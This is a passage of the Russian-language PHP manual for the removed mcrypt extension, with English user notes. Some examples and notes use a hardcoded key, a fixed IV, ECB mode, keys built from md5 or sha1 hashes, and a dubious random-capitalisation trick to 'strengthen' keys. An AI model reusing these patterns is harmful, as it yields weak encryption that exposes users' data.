print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com 05-Jan-2006 02:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com 15-May-2003 11:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.


Возвращает размер блока для указанного шифра

  • « mcrypt_generic
  • mcrypt_get_cipher_name »
  • PHP Manual
  • Mcrypt
  • Возвращает размер блока для указанного шифра

mcrypt_get_block_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_block_size — Возвращает размер блока для указанного шифра

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_get_block_size(int $cipher): int|false
mcrypt_get_block_size(string $cipher, string $mode): int|false

Первый прототип собран с библиотекой libmcrypt 2.2.x, а второй с libmcrypt 2.4.x или 2.5.x.

mcrypt_get_block_size() используется для получения размер блока указанного cipher (в комбинации с режимом шифрования).

Правильнее использовать mcrypt_enc_get_block_size(), которая использует ресурс, возвращаемый mcrypt_module_open().

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

Возвращаемые значения

Возвращает размер блока алгоритма в байтах или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mcrypt_get_block_size()

Этот пример демонстрирует использование функции собранной с libmcrypt 2.4.x и 2.5.x.

<?php

echo mcrypt_get_block_size('tripledes', 'ecb'); // 8

?>

Смотрите также

  • mcrypt_get_key_size() - Получить размер ключа заданного шифра
  • mcrypt_enc_get_block_size() - Возвращает размер блока алгоритма
  • mcrypt_encrypt() - Шифрует текст с заданными параметрами

User Contributed Notes

mehaase at gmail dot com 14-Nov-2014 06:57
You should explain that the block size is return in BYTES, not the more commonly used unit, bits. Many readers are not going to know the DES block size and figure this out on their own.


Получает имя указанного шифра

  • « mcrypt_get_block_size
  • mcrypt_get_iv_size »
  • PHP Manual
  • Mcrypt
  • Получает имя указанного шифра

mcrypt_get_cipher_name

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_cipher_name — Получает имя указанного шифра

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_get_cipher_name(int $cipher): string
mcrypt_get_cipher_name(string $cipher): string

Функция mcrypt_get_cipher_name() используется для получения имени указанного шифра.

mcrypt_get_cipher_name() берет номер шифра в качестве аргумента (libmcrypt 2.2.x) или имя шифра (libmcrypt 2.4.x или выше) и возвращает имя шифра или false, если шифр отсутствует.

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

Возвращаемые значения

Функция возвращает имя шифра или false, если такого шифра нет.

Примеры

Пример #1 Пример использования mcrypt_get_cipher_name()

<?php
$cipher = MCRYPT_TripleDES;

echo mcrypt_get_cipher_name($cipher);
?>

Результат выполнения данного примера:

3DES

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима

  • « mcrypt_get_cipher_name
  • mcrypt_get_key_size »
  • PHP Manual
  • Mcrypt
  • Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима

mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_iv_size — Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_get_iv_size(string $cipher, string $mode): int

Возвращает размер инициализирующего вектора для соответствующей заданной комбинации шифра cipher и режима mode.

Правильнее будет использовать mcrypt_enc_get_iv_size(), так как она возвращает результат по существующему дескриптору шифрования, полученного с помощью mcrypt_module_open().

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

Инициализирующий вектор игнорируется в режиме ECB, так как он там не нужен. Вам понадобится один и тот же инициализирующий вектор как для шифрования, так и для дешифровки, иначе все ваше шифрование превратится в тыкву.

Возвращаемые значения

Возвращает размер инициализирующего вектора в байтах. В случае возникновения ошибки будет возвращено false. Если при заданной комбинации шифра и режима инициализирующий вектор не нужен, будет возвращён ноль.

Примеры

Пример #1 Пример использования mcrypt_get_iv_size()

<?php
echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

Смотрите также

  • mcrypt_get_block_size() - Возвращает размер блока для указанного шифра
  • mcrypt_enc_get_iv_size() - Возвращает размер инициализирующего вектора для алгоритма
  • mcrypt_create_iv() - Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника

User Contributed Notes

Hernanibus 28-Jun-2016 05:45
The size of the initialization vector (iv) will be returned in bytes NOT bits, something to keep in mind specially if the iv is passed together appended or prepended with the encrypted data for decryption


Получить размер ключа заданного шифра

  • « mcrypt_get_iv_size
  • mcrypt_list_algorithms »
  • PHP Manual
  • Mcrypt
  • Получить размер ключа заданного шифра

mcrypt_get_key_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_key_size — Получить размер ключа заданного шифра

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_get_key_size(int $cipher): int|false
mcrypt_get_key_size(string $cipher, string $mode): int|false

Первый прототип собран с библиотекой libmcrypt 2.2.x, а второй с libmcrypt 2.4.x или 2.5.x.

mcrypt_get_key_size() используется для получения размера ключа для указанного шифра cipher (в комбинации с режимом шифрования).

Правильнее будет использовать mcrypt_enc_get_key_size(), так как она возвращает результат по существующему дескриптору шифрования, полученного с помощью mcrypt_module_open().

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

Возвращаемые значения

Возвращает максимально допустимую длину ключа в байтах или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mcrypt_get_key_size()

<?php
echo mcrypt_get_key_size('tripledes', 'ecb');
?>

Этот пример демонстрирует использование функции собранной с libmcrypt 2.4.x и 2.5.x.

Результат выполнения данного примера:

24

Смотрите также

  • mcrypt_get_block_size() - Возвращает размер блока для указанного шифра
  • mcrypt_enc_get_key_size() - Возвращает максимальную допустимую длину ключа алгоритма
  • mcrypt_encrypt() - Шифрует текст с заданными параметрами

User Contributed Notes

Robin 09-Mar-2010 04:43
While not specified in the description, this function, just like mcrypt_enc_get_key_size(), returns the cipher's largest key size in BYTES.


Получить список всех поддерживаемых алгоритмов шифрования

  • « mcrypt_get_key_size
  • mcrypt_list_modes »
  • PHP Manual
  • Mcrypt
  • Получить список всех поддерживаемых алгоритмов шифрования

mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_algorithms — Получить список всех поддерживаемых алгоритмов шифрования

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_list_algorithms(string $lib_dir = ini_get("mcrypt.algorithms_dir")): array

Получить список всех поддерживаемых алгоритмов шифрования в заданной директории lib_dir.

Список параметров

lib_dir

Указывает директорию, в которой расположены алгоритмы. Если не задано, то будет использовано значение директивы mcrypt.algorithms_dir из php.ini.

Возвращаемые значения

Возвращает массив поддерживаемых алгоритмов.

Примеры

Пример #1 Пример использования mcrypt_list_algorithms()

<?php
$algorithms = mcrypt_list_algorithms();
print_r($algorithms);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => cast-128
    [1] => gost
    [2] => rijndael-128
    [3] => twofish
    [4] => arcfour
    [5] => cast-256
    [6] => loki97
    [7] => rijndael-192
    [8] => saferplus
    [9] => wake
    [10] => blowfish-compat
    [11] => des
    [12] => rijndael-256
    [13] => serpent
    [14] => xtea
    [15] => blowfish
    [16] => enigma
    [17] => rc2
    [18] => tripledes
)

User Contributed Notes

There are no user contributed notes for this page.


Получить список всех поддерживаемых режимов шифрования

  • « mcrypt_list_algorithms
  • mcrypt_module_close »
  • PHP Manual
  • Mcrypt
  • Получить список всех поддерживаемых режимов шифрования

mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_modes — Получить список всех поддерживаемых режимов шифрования

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_list_modes(string $lib_dir = ini_get("mcrypt.modes_dir")): array

Получить список всех режимов шифрования из директории lib_dir.

Список параметров

lib_dir

Указывает директорию, в которой расположены режимы. Если не задано, то будет использовано значение директивы mcrypt.modes_dir из php.ini.

Возвращаемые значения

Возвращает массив поддерживаемых режимов.

Примеры

Пример #1 Пример использования mcrypt_list_modes()

<?php
$modes = mcrypt_list_modes();

foreach ($modes as $mode) {
echo "$mode <br />\n";
}
?>

Пример выше демонстрирует получение списка всех алгоритмов из директории по умолчанию. Если директива php.ini mcrypt.modes_dir не задана, то будет использована директория mcrypt по умолчанию (/usr/local/lib/libmcrypt).

User Contributed Notes

There are no user contributed notes for this page.


Закрывает модуль mcrypt

  • « mcrypt_list_modes
  • mcrypt_module_get_algo_block_size »
  • PHP Manual
  • Mcrypt
  • Закрывает модуль mcrypt

mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_close — Закрывает модуль mcrypt

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_close(resource $td): bool

Закрывает указанный обработчик шифрования.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mcrypt_module_open() - Открывает модуль шифрования с использованием указанных алгоритма и режима

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер блока указанного алгоритма

  • « mcrypt_module_close
  • mcrypt_module_get_algo_key_size »
  • PHP Manual
  • Mcrypt
  • Возвращает размер блока указанного алгоритма

mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_block_size — Возвращает размер блока указанного алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_get_algo_block_size(string $algorithm, string $lib_dir = ?): int

Возвращает размер блока указанного алгоритма.

Список параметров

algorithm

Имя алгоритма.

lib_dir

Опциональный параметр, в котором можно указать директорию, содержащую модуль режима.

Возвращаемые значения

Возвращает размер блока указанного алгоритма в байтах.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальный размер ключа открытого режима

  • « mcrypt_module_get_algo_block_size
  • mcrypt_module_get_supported_key_sizes »
  • PHP Manual
  • Mcrypt
  • Возвращает максимальный размер ключа открытого режима

mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_key_size — Возвращает максимальный размер ключа открытого режима

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_get_algo_key_size(string $algorithm, string $lib_dir = ?): int

Возвращает максимальный размер ключа открытого режима.

Список параметров

algorithm

Имя алгоритма.

lib_dir

Опциональный параметр, в котором можно указать директорию, содержащую модуль режима.

Возвращаемые значения

Возвращает максимальную длину ключа в байтах для указанного алгоритма.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список поддерживаемых размеров ключей для открытого алгоритма

  • « mcrypt_module_get_algo_key_size
  • mcrypt_module_is_block_algorithm_mode »
  • PHP Manual
  • Mcrypt
  • Возвращает список поддерживаемых размеров ключей для открытого алгоритма

mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_supported_key_sizes — Возвращает список поддерживаемых размеров ключей для открытого алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_get_supported_key_sizes(string $algorithm, string $lib_dir = ?): array

Возвращает список поддерживаемых размеров ключей для открытого алгоритма. Если возвращён пустой массив, значит поддерживается любая длина ключа от 1 до значения возвращаемого mcrypt_module_get_algo_key_size().

Список параметров

algorithm

Используемый алгоритм.

lib_dir

Опциональный параметр lib_dir, в котором можно указать директорию, содержащую модуль алгоритма.

Возвращаемые значения

Возвращает список поддерживаемых размеров ключей для открытого алгоритма. Если возвращён пустой массив, значит поддерживается любая длина ключа от 1 до значения возвращаемого mcrypt_module_get_algo_key_size().

Смотрите также

  • mcrypt_enc_get_supported_key_sizes() - Возвращает массив с допустимыми размерами ключа для используемого алгоритма

User Contributed Notes

Daniel Bartlett <dan at lockedbox dot net> 11-Feb-2004 10:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
        echo "<td>" . $cipher . "</td><td>";
        $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
        if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
        else foreach ($ksizes as $size) {
                echo $size . " ";
        }
        echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.


Проверяет, является ли заданный модуль блочным или нет

  • « mcrypt_module_get_supported_key_sizes
  • mcrypt_module_is_block_algorithm »
  • PHP Manual
  • Mcrypt
  • Проверяет, является ли заданный модуль блочным или нет

mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm_mode — Проверяет, является ли заданный модуль блочным или нет

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_is_block_algorithm_mode(string $mode, string $lib_dir = ?): bool

Функция возвращает true, если режим используется с блочными алгоритмами, иначе возвращает false. (то есть false для поточных и true для cbc, cfb, ofb).

Список параметров

mode

Режим, который будет проверяться.

lib_dir

Опциональный параметр lib_dir, в котором можно указать директорию, содержащую модуль алгоритма.

Возвращаемые значения

Функция возвращает true, если режим используется с блочными алгоритмами, иначе возвращает false. (то есть false для поточных и true для cbc, cfb, ofb).

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли заданный алгоритм блочным или нет

  • « mcrypt_module_is_block_algorithm_mode
  • mcrypt_module_is_block_mode »
  • PHP Manual
  • Mcrypt
  • Проверяет, является ли заданный алгоритм блочным или нет

mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm — Проверяет, является ли заданный алгоритм блочным или нет

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_is_block_algorithm(string $algorithm, string $lib_dir = ?): bool

Функция возвращает true, если алгоритм блочный, иначе возвращает false (потоковый).

Список параметров

algorithm

Алгоритм для проверки.

lib_dir

Опциональный параметр lib_dir, в котором можно указать директорию, содержащую модуль алгоритма.

Возвращаемые значения

Функция возвращает true, если алгоритм блочный, иначе возвращает false (потоковый).

User Contributed Notes

There are no user contributed notes for this page.


Проверить, возвращает ли указанный режим данные блоками или нет

  • « mcrypt_module_is_block_algorithm
  • mcrypt_module_open »
  • PHP Manual
  • Mcrypt
  • Проверить, возвращает ли указанный режим данные блоками или нет

mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_mode — Проверить, возвращает ли указанный режим данные блоками или нет

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_is_block_mode(string $mode, string $lib_dir = ?): bool

Функция возвращает true, если данные возвращаются блоками и false, если побайтно. (то есть true для cbc и ecb, и false для cfb и потока).

Список параметров

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

lib_dir

Опциональный параметр lib_dir, в котором можно указать директорию, содержащую модуль алгоритма.

Возвращаемые значения

Функция возвращает true, если данные возвращаются блоками и false если побайтно. (то есть true для cbc и ecb, и false для cfb и потока).

User Contributed Notes

There are no user contributed notes for this page.


Открывает модуль шифрования с использованием указанных алгоритма и режима

  • « mcrypt_module_is_block_mode
  • mcrypt_module_self_test »
  • PHP Manual
  • Mcrypt
  • Открывает модуль шифрования с использованием указанных алгоритма и режима

mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_open — Открывает модуль шифрования с использованием указанных алгоритма и режима

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_open(
string $algorithm,
string $algorithm_directory,
string $mode,
string $mode_directory
): resource

Открывает модуль шифрования с использованием указанных алгоритма и режима. Имя алгоритма задаётся его именем, например "twofish", или с помощью константы MCRYPT_ciphername. Закрыть модуль можно с помощью функции mcrypt_module_close().

Список параметров

algorithm

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

algorithm_directory

Параметр algorithm_directory используется для задания местонахождения модуля шифрования. Если передать пустую строку, то (""), то будет использовано значение директивы mcrypt.algorithms_dir из php.ini. Если же оно тоже не задано, то будет использована стандартная директория с которой компилировался libmcrypt (обычно /usr/local/lib/libmcrypt).

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

mode_directory

Параметр mode_directory используется для задания местонахождения модуля режима. Если передать пустую строку, то (""), то будет использовано значение директивы mcrypt.modes_dir из php.ini. Если же оно тоже не задано, то будет использована стандартная директория, с которой компилировался libmcrypt (обычно /usr/local/lib/libmcrypt).

Возвращаемые значения

Обычно возвращается дескриптор шифрования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mcrypt_module_open()

<?php
$td = mcrypt_module_open(MCRYPT_DES, '',
MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

В первой строке примера мы пробуем открыть шифр DES из директории по умолчанию и использовать режим ECB из директории /usr/lib/mcrypt-modes. Во втором примере используем строковые имена шифра и режима, что работает только с модулем, собранным с библиотекой libmcrypt 2.4.x or 2.5.x.

Пример #2 Пример использования mcrypt_module_open()

<?php
/* Открываем модуль шифрования */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

/* Создаём инициализирующий вектор и определяем длину ключа.
* Для Windows используем MCRYPT_RAND */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);

/* Создаём ключ */
$key = substr(md5('very secret key'), 0, $ks);

/* Инициализируем шифрование */
mcrypt_generic_init($td, $key, $iv);

/* Шифруем данные */
$encrypted = mcrypt_generic($td, 'This is very important data');

/* Деинициализируем обработчик шифрования */
mcrypt_generic_deinit($td);

/* Инициализируем модуль дешифровки */
mcrypt_generic_init($td, $key, $iv);

/* Дешифруем данные */
$decrypted = mdecrypt_generic($td, $encrypted);

/* Деинициализируем обработчик дешифровки и закрываем модуль */
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

/* Печатаем строку */
echo trim($decrypted) . "\n";
?>

Смотрите также

  • mcrypt_module_close() - Закрывает модуль mcrypt
  • mcrypt_generic() - Функция шифрует данные
  • mdecrypt_generic() - Дешифровка данных
  • mcrypt_generic_init() - Функция инициализирует все буферы, необходимые для шифрования
  • mcrypt_generic_deinit() - Эта функция деинициализирует модуль шифрования

User Contributed Notes

Anonymous 18-Feb-2016 10:34
Follow up to anonymous with Windows' mcrypt_module_open() errors:

<?php
$M = mcrypt_list_modes();
$A = mcrypt_list_algorithms();
foreach ($M as $m)
    foreach ($A as $a) {
        $t = @mcrypt_module_open($a,'',$m,'');
        print "$m, $a = ";
        print ($t)?"ok":"nope";
        print "<br>";
    }
?>

This will show that not all modes work with all algorithmns. Cygwin also has no 'libmcrypt.dll' and it too will work with only some combinations.

(First tries just happened to be one of the ones that did not work!)
Mark 29-Oct-2012 02:11
for errors like
' mcrypt_module_open(): Could not open encryption module in '

Make sure you're using the right name. The page giving the list of ciphers is NOT the right way to say each cipher (shown here http://www.php.net/manual/en/mcrypt.ciphers.php).

In order to see what ones are supported, try phpinfo(); and look under mcrypt to find something like this

mcrypt support => enabled
mcrypt_filter support => enabled
Version => 2.5.8
Api No => 20021217
Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256
 serpent xtea blowfish enigma rc2 tripledes
Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream
lehmann*at*arcor-so.net 20-Jul-2009 08:10
Keep in mind that the mcrypt functions do not implement padding like e.g. pkcs#5. This causes the problem with zero bytes at the end and the sting cannot be correctly decoded in other environments.

For an example how to add pkcs 5 padding, see ref.mcrypt.php
royconejo 29-Mar-2009 09:01
about the previous comments on hex formatting and capitalization as a way to improve the key:

this would seem pretty obvious, but it is a choice to be limited to only hex characters ([0-9a-z]); you can get the original RAW output from md5() or sha1() and not the default readable hex formatting.

the result of a raw output will be 16 o 20 (depending on the hash function being used) series of chars in the range 0-255. way better than [0-9a-z] and even [0-9a-zA-Z].

16 or 20 is generally lower than the maximum key lenght ($ks in the example), but you can append two or more keys together:

<?php
$human_key1 = 'something very secret';
$human_key2 = 'something else very secret';

// 40 bytes binary key using two "human readable" keys and sha1.
$bigger_binary_key = sha1($human_key1, true) . sha1($human_key2, true);

// then just use it as you would (extract taken from the example)
$key = substr($bigger_binary_key, 0, $ks);
?>

... or you can automatically split one large "human key" into two or more parts, hash those parts with sha1 (raw output!) and merge them together again (in original order or rearrange, salt, transform them as you like) to get a binary key of 40, 60, 80 or more chars depending on the number of parts the secret key has been splitted =)
ash 17-Jul-2008 03:07
A slight improvement of dinamic's function to create a key:

I think the weak point is that capitals are always used in the same part of the string. The following code capitalizes random characters of the string, making the key less predictable:

<?php
$key = substr($key1, 0, $ks/2) . substr($key2, (round(strlen($key2) / 2)), $ks/2);
$key = substr($key.$key1.$key2.$key1,0,$ks);

$buffer = str_split($key);

$limit = count($buffer)-1;
srand((float)microtime() * 1000000);

$end = rand(0, $limit);
$a = 0;

// replace random chars with capitals
while ($a < $end) {
    list($usec, $sec) = explode(' ', microtime());
        $seed = ((float)$sec) + ((float) $usec * 100000);
    mt_srand($seed);

    $index = mt_rand(0,$limit);

    $buffer[$index] = strtoupper($buffer[$index]);
    $a++;
}

$key = join('', $buffer);
?>
dinamic at gmail dot com 13-Nov-2007 03:05
Also it should be pointed that md5() and/or sha1() should not be used while forming your key for the mcrypt. This is so because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

I have re-wrote the example shown, so here is my suggestion to get real 256-bit encryption:

<?php
$key1 = "this is a secret key";
$key2 = "this is the second secret key";
$input = "Let us meet at 9 o'clock at the secret place.";
$length = strlen($input);

    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'cbc', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key1 = md5($key1);
    $key2 = md5($key2);

    $key = substr($key1, 0, $ks/2) . substr(strtoupper($key2), (round(strlen($key2) / 2)), $ks/2);

    $key = substr($key.$key1.$key2.strtoupper($key1),0,$ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, $input);

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo "Text: ".substr($decrypted,0,$length) . "<br>";
    echo "Encoded: ".$encrypted ."<br>";
    echo "<br>key1: $key1 <br>key2: $key2<br>created key: $key";
?>
31-Jul-2003 08:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);


Функция запускает самопроверку указанного модуля

  • « mcrypt_module_open
  • mdecrypt_generic »
  • PHP Manual
  • Mcrypt
  • Функция запускает самопроверку указанного модуля

mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_self_test — Функция запускает самопроверку указанного модуля

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_module_self_test(string $algorithm, string $lib_dir = ?): bool

Эта функция запускает самопроверку указанного алгоритма.

Список параметров

algorithm

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

lib_dir

Опциональный параметр lib_dir, в котором можно указать директорию, содержащую модуль алгоритма.

Возвращаемые значения

Эта функция возвращает true если самопроверка завершилась успешно и false, если нет.

Примеры

Пример #1 Пример использования mcrypt_module_self_test()

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Дешифровка данных

  • « mcrypt_module_self_test
  • Mhash »
  • PHP Manual
  • Mcrypt
  • Дешифровка данных

mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mdecrypt_generic — Дешифровка данных

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mdecrypt_generic(resource $td, string $data): string

Функция дешифрует данные. Обратите внимание, что длина возвращаемой строки по факту может быть больше длины оригинальной нешифрованной строки. Это происходит от того, что данные могут дополняться.

Список параметров

td

Дескриптор шифрования, возвращаемый mcrypt_module_open()

data

Зашифрованные данные.

Возвращаемые значения

Возвращает расшифрованную строку.

